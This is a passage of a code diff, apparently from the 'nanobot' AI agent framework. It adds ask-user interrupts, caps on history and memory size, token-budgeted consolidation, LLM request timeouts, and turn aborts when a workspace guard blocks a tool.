final_content, _, all_msgs, _, _ = await self._run_agent_loop(
|
||||
final_content, _, all_msgs, stop_reason, _ = await self._run_agent_loop(
|
||||
messages, session=session, channel=channel, chat_id=chat_id,
|
||||
message_id=msg.metadata.get("message_id"),
|
||||
metadata=msg.metadata,
|
||||
session_key=key,
|
||||
pending_queue=pending_queue,
|
||||
)
|
||||
self._save_turn(session, all_msgs, 1 + len(history))
|
||||
session.enforce_file_cap(on_archive=self.context.memory.raw_archive)
|
||||
self._clear_runtime_checkpoint(session)
|
||||
self.sessions.save(session)
|
||||
self._schedule_background(self.consolidator.maybe_consolidate_by_tokens(session))
|
||||
options = ask_user_options_from_messages(all_msgs) if stop_reason == "ask_user" else []
|
||||
content, buttons = ask_user_outbound(
|
||||
final_content or "Background task completed.",
|
||||
options,
|
||||
channel,
|
||||
)
|
||||
# Reconstruct channel-specific metadata from session.key so the
|
||||
# outbound reply lands in the originating thread (not the channel
|
||||
# top-level). The announce InboundMessage carries only
|
||||
# injected_event metadata; we recover thread_ts from the session
|
||||
# key, which slack writes as "slack:<chat_id>:<thread_ts>".
|
||||
outbound_metadata: dict[str, Any] = {}
|
||||
if channel == "slack" and key.startswith("slack:") and key.count(":") >= 2:
|
||||
outbound_metadata["slack"] = {"thread_ts": key.split(":", 2)[2]}
|
||||
return OutboundMessage(
|
||||
channel=channel,
|
||||
chat_id=chat_id,
|
||||
content=final_content or "Background task completed.",
|
||||
content=content,
|
||||
buttons=buttons,
|
||||
metadata=outbound_metadata,
|
||||
)
|
||||
|
||||
# Extract document text from media at the processing boundary so all
|
||||
@@ -794,26 +977,50 @@ class AgentLoop:
|
||||
session_summary=pending,
|
||||
)
|
||||
|
||||
self._set_tool_context(msg.channel, msg.chat_id, msg.metadata.get("message_id"))
|
||||
self._set_tool_context(
|
||||
msg.channel, msg.chat_id, msg.metadata.get("message_id"),
|
||||
msg.metadata, session_key=key,
|
||||
)
|
||||
if message_tool := self.tools.get("message"):
|
||||
if isinstance(message_tool, MessageTool):
|
||||
message_tool.start_turn()
|
||||
|
||||
history = session.get_history(max_messages=0)
|
||||
_hist_kwargs: dict[str, Any] = {
|
||||
"max_messages": self._max_messages,
|
||||
"max_tokens": self._replay_token_budget(),
|
||||
"include_timestamps": True,
|
||||
}
|
||||
history = session.get_history(**_hist_kwargs)
|
||||
|
||||
initial_messages = self.context.build_messages(
|
||||
history=history,
|
||||
current_message=msg.content,
|
||||
session_summary=pending,
|
||||
media=msg.media if msg.media else None,
|
||||
channel=msg.channel,
|
||||
chat_id=msg.chat_id,
|
||||
)
|
||||
pending_ask_id = pending_ask_user_id(history)
|
||||
if pending_ask_id:
|
||||
initial_messages = ask_user_tool_result_messages(
|
||||
self.context.build_system_prompt(channel=msg.channel),
|
||||
history,
|
||||
pending_ask_id,
|
||||
msg.content,
|
||||
)
|
||||
else:
|
||||
initial_messages = self.context.build_messages(
|
||||
history=history,
|
||||
current_message=msg.content,
|
||||
session_summary=pending,
|
||||
media=msg.media if msg.media else None,
|
||||
channel=msg.channel,
|
||||
chat_id=self._runtime_chat_id(msg),
|
||||
)
|
||||
|
||||
async def _bus_progress(content: str, *, tool_hint: bool = False) -> None:
|
||||
async def _bus_progress(
|
||||
content: str,
|
||||
*,
|
||||
tool_hint: bool = False,
|
||||
tool_events: list[dict[str, Any]] | None = None,
|
||||
) -> None:
|
||||
meta = dict(msg.metadata or {})
|
||||
meta["_progress"] = True
|
||||
meta["_tool_hint"] = tool_hint
|
||||
if tool_events:
|
||||
meta["_tool_events"] = tool_events
|
||||
await self.bus.publish_outbound(
|
||||
OutboundMessage(
|
||||
channel=msg.channel,
|
||||
@@ -835,15 +1042,17 @@ class AgentLoop:
|
||||
)
|
||||
)
|
||||
|
||||
# Persist the triggering user message immediately, before running the
|
||||
# agent loop. If the process is killed mid-turn (OOM, SIGKILL, self-
|
||||
# restart, etc.), the existing runtime_checkpoint preserves the
|
||||
# in-flight assistant/tool state but NOT the user message itself, so
|
||||
# the user's prompt is silently lost on recovery. Saving it up front
|
||||
# makes recovery possible from the session log alone.
|
||||
# Persist the triggering user message up front so a mid-turn crash
|
||||
# doesn't silently lose the prompt on recovery. ``media`` rides along
|
||||
# as raw on-disk paths — sanitized image blocks are stripped from
|
||||
# JSONL, and webui replay needs the paths to mint signed URLs.
|
||||
user_persisted_early = False
|
||||
if isinstance(msg.content, str) and msg.content.strip():
|
||||
session.add_message("user", msg.content)
|
||||
media_paths = [p for p in (msg.media or []) if isinstance(p, str) and p]
|
||||
has_text = isinstance(msg.content, str) and msg.content.strip()
|
||||
if not pending_ask_id and (has_text or media_paths):
|
||||
extra: dict[str, Any] = {"media": list(media_paths)} if media_paths else {}
|
||||
text = msg.content if isinstance(msg.content, str) else ""
|
||||
session.add_message("user", text, **extra)
|
||||
self._mark_pending_user_turn(session)
|
||||
self.sessions.save(session)
|
||||
user_persisted_early = True
|
||||
@@ -858,6 +1067,8 @@ class AgentLoop:
|
||||
channel=msg.channel,
|
||||
chat_id=msg.chat_id,
|
||||
message_id=msg.metadata.get("message_id"),
|
||||
metadata=msg.metadata,
|
||||
session_key=key,
|
||||
pending_queue=pending_queue,
|
||||
)
|
||||
|
||||
@@ -867,6 +1078,7 @@ class AgentLoop:
|
||||
# Skip the already-persisted user message when saving the turn
|
||||
save_skip = 1 + len(history) + (1 if user_persisted_early else 0)
|
||||
self._save_turn(session, all_msgs, save_skip)
|
||||
session.enforce_file_cap(on_archive=self.context.memory.raw_archive)
|
||||
self._clear_pending_user_turn(session)
|
||||
self._clear_runtime_checkpoint(session)
|
||||
self.sessions.save(session)
|
||||
@@ -886,13 +1098,19 @@ class AgentLoop:
|
||||
logger.info("Response to {}:{}: {}", msg.channel, msg.sender_id, preview)
|
||||
|
||||
meta = dict(msg.metadata or {})
|
||||
if on_stream is not None and stop_reason != "error":
|
||||
final_content, buttons = ask_user_outbound(
|
||||
final_content,
|
||||
ask_user_options_from_messages(all_msgs) if stop_reason == "ask_user" else [],
|
||||
msg.channel,
|
||||
)
|
||||
if on_stream is not None and stop_reason not in {"ask_user", "error"}:
|
||||
meta["_streamed"] = True
|
||||
return OutboundMessage(
|
||||
channel=msg.channel,
|
||||
chat_id=msg.chat_id,
|
||||
content=final_content,
|
||||
metadata=meta,
|
||||
buttons=buttons,
|
||||
)
|
||||
|
||||
def _sanitize_persisted_blocks(
|
||||
@@ -1112,7 +1330,7 @@ class AgentLoop:
|
||||
channel: str = "cli",
|
||||
chat_id: str = "direct",
|
||||
media: list[str] | None = None,
|
||||
on_progress: Callable[[str], Awaitable[None]] | None = None,
|
||||
on_progress: Callable[..., Awaitable[None]] | None = None,
|
||||
on_stream: Callable[[str], Awaitable[None]] | None = None,
|
||||
on_stream_end: Callable[..., Awaitable[None]] | None = None,
|
||||
) -> OutboundMessage | None:
|
||||
|
||||
+107
-41
@@ -6,6 +6,7 @@ import asyncio
|
||||
import json
|
||||
import re
|
||||
import weakref
|
||||
import tiktoken
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, Callable, Iterator
|
||||
@@ -13,7 +14,7 @@ from typing import TYPE_CHECKING, Any, Callable, Iterator
|
||||
from loguru import logger
|
||||
|
||||
from nanobot.utils.prompt_templates import render_template
|
||||
from nanobot.utils.helpers import ensure_dir, estimate_message_tokens, estimate_prompt_tokens_chain, strip_think
|
||||
from nanobot.utils.helpers import ensure_dir, estimate_message_tokens, estimate_prompt_tokens_chain, strip_think, truncate_text
|
||||
|
||||
from nanobot.agent.runner import AgentRunSpec, AgentRunner
|
||||
from nanobot.agent.tools.registry import ToolRegistry
|
||||
@@ -50,6 +51,7 @@ class MemoryStore:
|
||||
self._cursor_file = self.memory_dir / ".cursor"
|
||||
self._dream_cursor_file = self.memory_dir / ".dream_cursor"
|
||||
self._corruption_logged = False # rate-limit non-int cursor warning
|
||||
self._oversize_logged = False # rate-limit oversized-entry warning
|
||||
self._git = GitStore(workspace, tracked_files=[
|
||||
"SOUL.md", "USER.md", "memory/MEMORY.md",
|
||||
])
|
||||
@@ -221,7 +223,7 @@ class MemoryStore:
|
||||
|
||||
# -- history.jsonl — append-only, JSONL format ---------------------------
|
||||
|
||||
def append_history(self, entry: str) -> int:
|
||||
def append_history(self, entry: str, *, max_chars: int | None = None) -> int:
|
||||
"""Append *entry* to history.jsonl and return its auto-incrementing cursor.
|
||||
|
||||
Entries are passed through `strip_think` to drop template-level leaks
|
||||
@@ -230,10 +232,26 @@ class MemoryStore:
|
||||
the record is persisted with an empty string rather than falling back
|
||||
to the raw leak — otherwise `strip_think`'s guarantees would be
|
||||
undone by history replay / consolidation downstream.
|
||||
|
||||
A defensive cap (*max_chars*, default ``_HISTORY_ENTRY_HARD_CAP``) is
|
||||
applied as a final safety net: individual callers should cap their own
|
||||
content more tightly; this default only exists to catch unintentional
|
||||
large writes (e.g. an LLM echoing its input back as a "summary").
|
||||
"""
|
||||
limit = max_chars if max_chars is not None else _HISTORY_ENTRY_HARD_CAP
|
||||
cursor = self._next_cursor()
|
||||
ts = datetime.now().strftime("%Y-%m-%d %H:%M")
|
||||
raw = entry.rstrip()
|
||||
if len(raw) > limit:
|
||||
if not self._oversize_logged:
|
||||
self._oversize_logged = True
|
||||
logger.warning(
|
||||
"history entry exceeds {} chars ({}); truncating. "
|
||||
"Usually means a caller forgot its own cap; "
|
||||
"further occurrences suppressed.",
|
||||
limit, len(raw),
|
||||
)
|
||||
raw = truncate_text(raw, limit)
|
||||
content = strip_think(raw)
|
||||
if raw and not content:
|
||||
logger.debug(
|
||||
@@ -373,11 +391,13 @@ class MemoryStore:
|
||||
)
|
||||
return "\n".join(lines)
|
||||
|
||||
def raw_archive(self, messages: list[dict]) -> None:
|
||||
def raw_archive(self, messages: list[dict], *, max_chars: int | None = None) -> None:
|
||||
"""Fallback: dump raw messages to history.jsonl without LLM summarization."""
|
||||
limit = max_chars if max_chars is not None else _RAW_ARCHIVE_MAX_CHARS
|
||||
formatted = truncate_text(self._format_messages(messages), limit)
|
||||
self.append_history(
|
||||
f"[RAW] {len(messages)} messages\n"
|
||||
f"{self._format_messages(messages)}"
|
||||
f"{formatted}"
|
||||
)
|
||||
logger.warning(
|
||||
"Memory consolidation degraded: raw-archived {} messages", len(messages)
|
||||
@@ -390,11 +410,18 @@ class MemoryStore:
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
# Individual history.jsonl writers cap their own payloads tightly; the
|
||||
# _HISTORY_ENTRY_HARD_CAP at append_history() is a belt-and-suspenders default
|
||||
# that catches any new caller that forgot to set its own cap.
|
||||
_RAW_ARCHIVE_MAX_CHARS = 16_000 # fallback dump (LLM failed)
|
||||
_ARCHIVE_SUMMARY_MAX_CHARS = 8_000 # LLM-produced consolidation summary
|
||||
_HISTORY_ENTRY_HARD_CAP = 64_000 # emergency cap in append_history
|
||||
|
||||
|
||||
class Consolidator:
|
||||
"""Lightweight consolidation: summarizes evicted messages into history.jsonl."""
|
||||
|
||||
_MAX_CONSOLIDATION_ROUNDS = 5
|
||||
_MAX_CHUNK_MESSAGES = 60 # hard cap per consolidation round
|
||||
|
||||
_SAFETY_BUFFER = 1024 # extra headroom for tokenizer estimation drift
|
||||
|
||||
@@ -408,6 +435,7 @@ class Consolidator:
|
||||
build_messages: Callable[..., list[dict[str, Any]]],
|
||||
get_tool_definitions: Callable[[], list[dict[str, Any]]],
|
||||
max_completion_tokens: int = 4096,
|
||||
consolidation_ratio: float = 0.5,
|
||||
):
|
||||
self.store = store
|
||||
self.provider = provider
|
||||
@@ -415,12 +443,24 @@ class Consolidator:
|
||||
self.sessions = sessions
|
||||
self.context_window_tokens = context_window_tokens
|
||||
self.max_completion_tokens = max_completion_tokens
|
||||
self.consolidation_ratio = consolidation_ratio
|
||||
self._build_messages = build_messages
|
||||
self._get_tool_definitions = get_tool_definitions
|
||||
self._locks: weakref.WeakValueDictionary[str, asyncio.Lock] = (
|
||||
weakref.WeakValueDictionary()
|
||||
)
|
||||
|
||||
def set_provider(
|
||||
self,
|
||||
provider: LLMProvider,
|
||||
model: str,
|
||||
context_window_tokens: int,
|
||||
) -> None:
|
||||
self.provider = provider
|
||||
self.model = model
|
||||
self.context_window_tokens = context_window_tokens
|
||||
self.max_completion_tokens = provider.generation.max_tokens
|
||||
|
||||
def get_lock(self, session_key: str) -> asyncio.Lock:
|
||||
"""Return the shared consolidation lock for one session."""
|
||||
return self._locks.setdefault(session_key, asyncio.Lock())
|
||||
@@ -447,22 +487,6 @@ class Consolidator:
|
||||
|
||||
return last_boundary
|
||||
|
||||
def _cap_consolidation_boundary(
|
||||
self,
|
||||
session: Session,
|
||||
end_idx: int,
|
||||
) -> int | None:
|
||||
"""Clamp the chunk size without breaking the user-turn boundary."""
|
||||
start = session.last_consolidated
|
||||
if end_idx - start <= self._MAX_CHUNK_MESSAGES:
|
||||
return end_idx
|
||||
|
||||
capped_end = start + self._MAX_CHUNK_MESSAGES
|
||||
for idx in range(capped_end, start, -1):
|
||||
if session.messages[idx].get("role") == "user":
|
||||
return idx
|
||||
return None
|
||||
|
||||
def estimate_session_prompt_tokens(
|
||||
self,
|
||||
session: Session,
|
||||
@@ -470,7 +494,7 @@ class Consolidator:
|
||||
session_summary: str | None = None,
|
||||
) -> tuple[int, str]:
|
||||
"""Estimate current prompt size for the normal session history view."""
|
||||
history = session.get_history(max_messages=0)
|
||||
history = session.get_history(max_messages=0, include_timestamps=True)
|
||||
channel, chat_id = (session.key.split(":", 1) if ":" in session.key else (None, None))
|
||||
probe_messages = self._build_messages(
|
||||
history=history,
|
||||
@@ -486,6 +510,25 @@ class Consolidator:
|
||||
self._get_tool_definitions(),
|
||||
)
|
||||
|
||||
@property
|
||||
def _input_token_budget(self) -> int:
|
||||
"""Available input token budget for consolidation LLM."""
|
||||
return self.context_window_tokens - self.max_completion_tokens - self._SAFETY_BUFFER
|
||||
|
||||
def _truncate_to_token_budget(self, text: str) -> str:
|
||||
"""Truncate text so it fits within the consolidation LLM's token budget."""
|
||||
budget = self._input_token_budget
|
||||
if budget <= 0:
|
||||
return truncate_text(text, _RAW_ARCHIVE_MAX_CHARS)
|
||||
try:
|
||||
enc = tiktoken.get_encoding("cl100k_base")
|
||||
tokens = enc.encode(text)
|
||||
if len(tokens) <= budget:
|
||||
return text
|
||||
return enc.decode(tokens[:budget]) + "\n... (truncated)"
|
||||
except Exception:
|
||||
return truncate_text(text, budget * 4)
|
||||
|
||||
async def archive(self, messages: list[dict]) -> str | None:
|
||||
"""Summarize messages via LLM and append to history.jsonl.
|
||||
|
||||
@@ -495,6 +538,7 @@ class Consolidator:
|
||||
return None
|
||||
try:
|
||||
formatted = MemoryStore._format_messages(messages)
|
||||
formatted = self._truncate_to_token_budget(formatted)
|
||||
response = await self.provider.chat_with_retry(
|
||||
model=self.model,
|
||||
messages=[
|
||||
@@ -513,7 +557,7 @@ class Consolidator:
|
||||
if response.finish_reason == "error":
|
||||
raise RuntimeError(f"LLM returned error: {response.content}")
|
||||
summary = response.content or "[no summary]"
|
||||
self.store.append_history(summary)
|
||||
self.store.append_history(summary, max_chars=_ARCHIVE_SUMMARY_MAX_CHARS)
|
||||
return summary
|
||||
except Exception:
|
||||
logger.warning("Consolidation LLM call failed, raw-dumping to history")
|
||||
@@ -536,8 +580,8 @@ class Consolidator:
|
||||
|
||||
lock = self.get_lock(session.key)
|
||||
async with lock:
|
||||
budget = self.context_window_tokens - self.max_completion_tokens - self._SAFETY_BUFFER
|
||||
target = budget // 2
|
||||
budget = self._input_token_budget
|
||||
target = int(budget * self.consolidation_ratio)
|
||||
try:
|
||||
estimated, source = self.estimate_session_prompt_tokens(
|
||||
session,
|
||||
@@ -575,14 +619,6 @@ class Consolidator:
|
||||
break
|
||||
|
||||
end_idx = boundary[0]
|
||||
end_idx = self._cap_consolidation_boundary(session, end_idx)
|
||||
if end_idx is None:
|
||||
logger.debug(
|
||||
"Token consolidation: no capped boundary for {} (round {})",
|
||||
session.key,
|
||||
round_num,
|
||||
)
|
||||
break
|
||||
|
||||
chunk = session.messages[session.last_consolidated:end_idx]
|
||||
if not chunk:
|
||||
@@ -598,12 +634,18 @@ class Consolidator:
|
||||
len(chunk),
|
||||
)
|
||||
summary = await self.archive(chunk)
|
||||
# Advance the cursor either way: on success the chunk was
|
||||
# summarized; on failure archive() already raw-archived it as
|
||||
# a breadcrumb. Re-archiving the same chunk on the next call
|
||||
# would just emit duplicate [RAW] entries.
|
||||
if summary:
|
||||
last_summary = summary
|
||||
else:
|
||||
break
|
||||
session.last_consolidated = end_idx
|
||||
self.sessions.save(session)
|
||||
if not summary:
|
||||
# LLM is degraded — stop hammering it this call;
|
||||
# the next invocation can retry a fresh chunk.
|
||||
break
|
||||
|
||||
try:
|
||||
estimated, source = self.estimate_session_prompt_tokens(
|
||||
@@ -647,6 +689,15 @@ class Dream:
|
||||
LLM can make targeted, incremental edits instead of replacing entire files.
|
||||
"""
|
||||
|
||||
# Caps on prompt-bound inputs so Dream's LLM calls never exceed the model's
|
||||
# context window just because a file (or a legacy large history entry) grew
|
||||
# unexpectedly. Each file still appears in full via read_file when the agent
|
||||
# needs it in Phase 2 — these caps only bound the Phase 1/2 prompt preview.
|
||||
_MEMORY_FILE_MAX_CHARS = 32_000
|
||||
_SOUL_FILE_MAX_CHARS = 16_000
|
||||
_USER_FILE_MAX_CHARS = 16_000
|
||||
_HISTORY_ENTRY_PREVIEW_MAX_CHARS = 4_000
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
store: MemoryStore,
|
||||
@@ -670,6 +721,11 @@ class Dream:
|
||||
self._runner = AgentRunner(provider)
|
||||
self._tools = self._build_tools()
|
||||
|
||||
def set_provider(self, provider: LLMProvider, model: str) -> None:
|
||||
self.provider = provider
|
||||
self.model = model
|
||||
self._runner.provider = provider
|
||||
|
||||
# -- tool registry -------------------------------------------------------
|
||||
|
||||
def _build_tools(self) -> ToolRegistry:
|
||||
@@ -785,21 +841,31 @@ class Dream:
|
||||
len(entries), last_cursor, batch[-1]["cursor"], len(batch),
|
||||
)
|
||||
|
||||
# Build history text for LLM
|
||||
# Build history text for LLM — cap each entry so a legacy oversized
|
||||
# record (e.g. pre-#3412 raw_archive dump) can't blow up the prompt.
|
||||
history_text = "\n".join(
|
||||
f"[{e['timestamp']}] {e['content']}" for e in batch
|
||||
f"[{e['timestamp']}] "
|
||||
f"{truncate_text(e['content'], self._HISTORY_ENTRY_PREVIEW_MAX_CHARS)}"
|
||||
for e in batch
|
||||
)
|
||||
|
||||
# Current file contents + per-line age annotations (MEMORY.md only)
|
||||
# Current file contents + per-line age annotations (MEMORY.md only).
|
||||
# Each file is capped in the *prompt preview* only; Phase 2 still sees
|
||||
# the full file via the read_file tool.
|
||||
current_date = datetime.now().strftime("%Y-%m-%d")
|
||||
raw_memory = self.store.read_memory() or "(empty)"
|
||||
current_memory = (
|
||||
annotated_memory = (
|
||||
self._annotate_with_ages(raw_memory)
|
||||
if self.annotate_line_ages
|
||||
else raw_memory
|
||||
)
|
||||
current_soul = self.store.read_soul() or "(empty)"
|
||||
current_user = self.store.read_user() or "(empty)"
|
||||
current_memory = truncate_text(annotated_memory, self._MEMORY_FILE_MAX_CHARS)
|
||||
current_soul = truncate_text(
|
||||
self.store.read_soul() or "(empty)", self._SOUL_FILE_MAX_CHARS,
|
||||
)
|
||||
current_user = truncate_text(
|
||||
self.store.read_user() or "(empty)", self._USER_FILE_MAX_CHARS,
|
||||
)
|
||||
|
||||
file_context = (
|
||||
f"## Current Date\n{current_date}\n\n"
|
||||
|
||||
+151
-21
@@ -3,25 +3,28 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from dataclasses import dataclass, field
|
||||
import inspect
|
||||
import os
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from loguru import logger
|
||||
|
||||
from nanobot.agent.hook import AgentHook, AgentHookContext
|
||||
from nanobot.utils.prompt_templates import render_template
|
||||
from nanobot.agent.tools.ask import AskUserInterrupt
|
||||
from nanobot.agent.tools.registry import ToolRegistry
|
||||
from nanobot.providers.base import LLMProvider, ToolCallRequest
|
||||
from nanobot.providers.base import LLMProvider, LLMResponse, ToolCallRequest
|
||||
from nanobot.utils.helpers import (
|
||||
build_assistant_message,
|
||||
estimate_message_tokens,
|
||||
estimate_prompt_tokens_chain,
|
||||
find_legal_message_start,
|
||||
maybe_persist_tool_result,
|
||||
strip_think,
|
||||
truncate_text,
|
||||
)
|
||||
from nanobot.utils.prompt_templates import render_template
|
||||
from nanobot.utils.runtime import (
|
||||
EMPTY_FINAL_RESPONSE_MESSAGE,
|
||||
build_finalization_retry_message,
|
||||
@@ -74,6 +77,7 @@ class AgentRunSpec:
|
||||
retry_wait_callback: Any | None = None
|
||||
checkpoint_callback: Any | None = None
|
||||
injection_callback: Any | None = None
|
||||
llm_timeout_s: float | None = None
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
@@ -275,17 +279,22 @@ class AgentRunner:
|
||||
self._accumulate_usage(usage, raw_usage)
|
||||
|
||||
if response.should_execute_tools:
|
||||
tool_calls = list(response.tool_calls)
|
||||
ask_index = next((i for i, tc in enumerate(tool_calls) if tc.name == "ask_user"), None)
|
||||
if ask_index is not None:
|
||||
tool_calls = tool_calls[: ask_index + 1]
|
||||
context.tool_calls = list(tool_calls)
|
||||
if hook.wants_streaming():
|
||||
await hook.on_stream_end(context, resuming=True)
|
||||
|
||||
assistant_message = build_assistant_message(
|
||||
response.content or "",
|
||||
tool_calls=[tc.to_openai_tool_call() for tc in response.tool_calls],
|
||||
tool_calls=[tc.to_openai_tool_call() for tc in tool_calls],
|
||||
reasoning_content=response.reasoning_content,
|
||||
thinking_blocks=response.thinking_blocks,
|
||||
)
|
||||
messages.append(assistant_message)
|
||||
tools_used.extend(tc.name for tc in response.tool_calls)
|
||||
tools_used.extend(tc.name for tc in tool_calls)
|
||||
await self._emit_checkpoint(
|
||||
spec,
|
||||
{
|
||||
@@ -294,7 +303,7 @@ class AgentRunner:
|
||||
"model": spec.model,
|
||||
"assistant_message": assistant_message,
|
||||
"completed_tool_results": [],
|
||||
"pending_tool_calls": [tc.to_openai_tool_call() for tc in response.tool_calls],
|
||||
"pending_tool_calls": [tc.to_openai_tool_call() for tc in tool_calls],
|
||||
},
|
||||
)
|
||||
|
||||
@@ -302,14 +311,16 @@ class AgentRunner:
|
||||
|
||||
results, new_events, fatal_error = await self._execute_tools(
|
||||
spec,
|
||||
response.tool_calls,
|
||||
tool_calls,
|
||||
external_lookup_counts,
|
||||
)
|
||||
tool_events.extend(new_events)
|
||||
context.tool_results = list(results)
|
||||
context.tool_events = list(new_events)
|
||||
completed_tool_results: list[dict[str, Any]] = []
|
||||
for tool_call, result in zip(response.tool_calls, results):
|
||||
for tool_call, result in zip(tool_calls, results):
|
||||
if isinstance(fatal_error, AskUserInterrupt) and tool_call.name == "ask_user":
|
||||
continue
|
||||
tool_message = {
|
||||
"role": "tool",
|
||||
"tool_call_id": tool_call.id,
|
||||
@@ -324,6 +335,15 @@ class AgentRunner:
|
||||
messages.append(tool_message)
|
||||
completed_tool_results.append(tool_message)
|
||||
if fatal_error is not None:
|
||||
if isinstance(fatal_error, AskUserInterrupt):
|
||||
final_content = fatal_error.question
|
||||
stop_reason = "ask_user"
|
||||
context.final_content = final_content
|
||||
context.stop_reason = stop_reason
|
||||
if hook.wants_streaming():
|
||||
await hook.on_stream_end(context, resuming=False)
|
||||
await hook.after_iteration(context)
|
||||
break
|
||||
error = f"Error: {type(fatal_error).__name__}: {fatal_error}"
|
||||
final_content = error
|
||||
stop_reason = "tool_error"
|
||||
@@ -570,20 +590,73 @@ class AgentRunner:
|
||||
hook: AgentHook,
|
||||
context: AgentHookContext,
|
||||
):
|
||||
timeout_s: float | None = spec.llm_timeout_s
|
||||
if timeout_s is None:
|
||||
# Default to a finite timeout to avoid per-session lock starvation when an LLM
|
||||
# request hangs indefinitely (e.g. gateway/network stall).
|
||||
# Set NANOBOT_LLM_TIMEOUT_S=0 to disable.
|
||||
raw = os.environ.get("NANOBOT_LLM_TIMEOUT_S", "300").strip()
|
||||
try:
|
||||
timeout_s = float(raw)
|
||||
except (TypeError, ValueError):
|
||||
timeout_s = 300.0
|
||||
if timeout_s is not None and timeout_s <= 0:
|
||||
timeout_s = None
|
||||
|
||||
kwargs = self._build_request_kwargs(
|
||||
spec,
|
||||
messages,
|
||||
tools=spec.tools.get_definitions(),
|
||||
)
|
||||
if hook.wants_streaming():
|
||||
wants_streaming = hook.wants_streaming()
|
||||
wants_progress_streaming = (
|
||||
not wants_streaming
|
||||
and spec.progress_callback is not None
|
||||
and getattr(self.provider, "supports_progress_deltas", False) is True
|
||||
)
|
||||
|
||||
if wants_streaming:
|
||||
async def _stream(delta: str) -> None:
|
||||
if delta:
|
||||
context.streamed_content = True
|
||||
await hook.on_stream(context, delta)
|
||||
|
||||
return await self.provider.chat_stream_with_retry(
|
||||
coro = self.provider.chat_stream_with_retry(
|
||||
**kwargs,
|
||||
on_content_delta=_stream,
|
||||
)
|
||||
return await self.provider.chat_with_retry(**kwargs)
|
||||
elif wants_progress_streaming:
|
||||
stream_buf = ""
|
||||
|
||||
async def _stream_progress(delta: str) -> None:
|
||||
nonlocal stream_buf
|
||||
if not delta:
|
||||
return
|
||||
prev_clean = strip_think(stream_buf)
|
||||
stream_buf += delta
|
||||
new_clean = strip_think(stream_buf)
|
||||
incremental = new_clean[len(prev_clean):]
|
||||
if incremental:
|
||||
context.streamed_content = True
|
||||
await spec.progress_callback(incremental)
|
||||
|
||||
coro = self.provider.chat_stream_with_retry(
|
||||
**kwargs,
|
||||
on_content_delta=_stream_progress,
|
||||
)
|
||||
else:
|
||||
coro = self.provider.chat_with_retry(**kwargs)
|
||||
|
||||
if timeout_s is None:
|
||||
return await coro
|
||||
try:
|
||||
return await asyncio.wait_for(coro, timeout=timeout_s)
|
||||
except asyncio.TimeoutError:
|
||||
return LLMResponse(
|
||||
content=f"Error calling LLM: timed out after {timeout_s:g}s",
|
||||
finish_reason="error",
|
||||
error_kind="timeout",
|
||||
)
|
||||
|
||||
async def _request_finalization_retry(
|
||||
self,
|
||||
@@ -629,13 +702,21 @@ class AgentRunner:
|
||||
tool_results: list[tuple[Any, dict[str, str], BaseException | None]] = []
|
||||
for batch in batches:
|
||||
if spec.concurrent_tools and len(batch) > 1:
|
||||
tool_results.extend(await asyncio.gather(*(
|
||||
batch_results = await asyncio.gather(*(
|
||||
self._run_tool(spec, tool_call, external_lookup_counts)
|
||||
for tool_call in batch
|
||||
)))
|
||||
))
|
||||
tool_results.extend(batch_results)
|
||||
else:
|
||||
batch_results = []
|
||||
for tool_call in batch:
|
||||
tool_results.append(await self._run_tool(spec, tool_call, external_lookup_counts))
|
||||
result = await self._run_tool(spec, tool_call, external_lookup_counts)
|
||||
tool_results.append(result)
|
||||
batch_results.append(result)
|
||||
if isinstance(result[2], AskUserInterrupt):
|
||||
break
|
||||
if any(isinstance(error, AskUserInterrupt) for _, _, error in batch_results):
|
||||
break
|
||||
|
||||
results: list[Any] = []
|
||||
events: list[dict[str, str]] = []
|
||||
@@ -653,7 +734,7 @@ class AgentRunner:
|
||||
tool_call: ToolCallRequest,
|
||||
external_lookup_counts: dict[str, int],
|
||||
) -> tuple[Any, dict[str, str], BaseException | None]:
|
||||
_HINT = "\n\n[Analyze the error above and try a different approach.]"
|
||||
hint = "\n\n[Analyze the error above and try a different approach.]"
|
||||
lookup_error = repeated_external_lookup_error(
|
||||
tool_call.name,
|
||||
tool_call.arguments,
|
||||
@@ -666,8 +747,8 @@ class AgentRunner:
|
||||
"detail": "repeated external lookup blocked",
|
||||
}
|
||||
if spec.fail_on_tool_error:
|
||||
return lookup_error + _HINT, event, RuntimeError(lookup_error)
|
||||
return lookup_error + _HINT, event, None
|
||||
return lookup_error + hint, event, RuntimeError(lookup_error)
|
||||
return lookup_error + hint, event, None
|
||||
prepare_call = getattr(spec.tools, "prepare_call", None)
|
||||
tool, params, prep_error = None, tool_call.arguments, None
|
||||
if callable(prepare_call):
|
||||
@@ -683,7 +764,16 @@ class AgentRunner:
|
||||
"status": "error",
|
||||
"detail": prep_error.split(": ", 1)[-1][:120],
|
||||
}
|
||||
return prep_error + _HINT, event, RuntimeError(prep_error) if spec.fail_on_tool_error else None
|
||||
if self._is_workspace_violation(prep_error):
|
||||
logger.warning(
|
||||
"Tool {} blocked by workspace/safety guard during preparation; aborting turn: {}",
|
||||
tool_call.name,
|
||||
prep_error.replace("\n", " ").strip()[:200],
|
||||
)
|
||||
event["detail"] = ("workspace_violation: "
|
||||
+ prep_error.replace("\n", " ").strip())[:160]
|
||||
return prep_error, event, RuntimeError(prep_error)
|
||||
return prep_error + hint, event, RuntimeError(prep_error) if spec.fail_on_tool_error else None
|
||||
try:
|
||||
if tool is not None:
|
||||
result = await tool.execute(**params)
|
||||
@@ -697,6 +787,18 @@ class AgentRunner:
|
||||
"status": "error",
|
||||
"detail": str(exc),
|
||||
}
|
||||
if isinstance(exc, AskUserInterrupt):
|
||||
event["status"] = "waiting"
|
||||
return "", event, exc
|
||||
if self._is_workspace_violation(str(exc)):
|
||||
logger.warning(
|
||||
"Tool {} blocked by workspace/safety guard; aborting turn: {}",
|
||||
tool_call.name,
|
||||
str(exc).replace("\n", " ").strip()[:200],
|
||||
)
|
||||
event["detail"] = ("workspace_violation: "
|
||||
+ str(exc).replace("\n", " ").strip())[:160]
|
||||
return f"Error: {type(exc).__name__}: {exc}", event, exc
|
||||
if spec.fail_on_tool_error:
|
||||
return f"Error: {type(exc).__name__}: {exc}", event, exc
|
||||
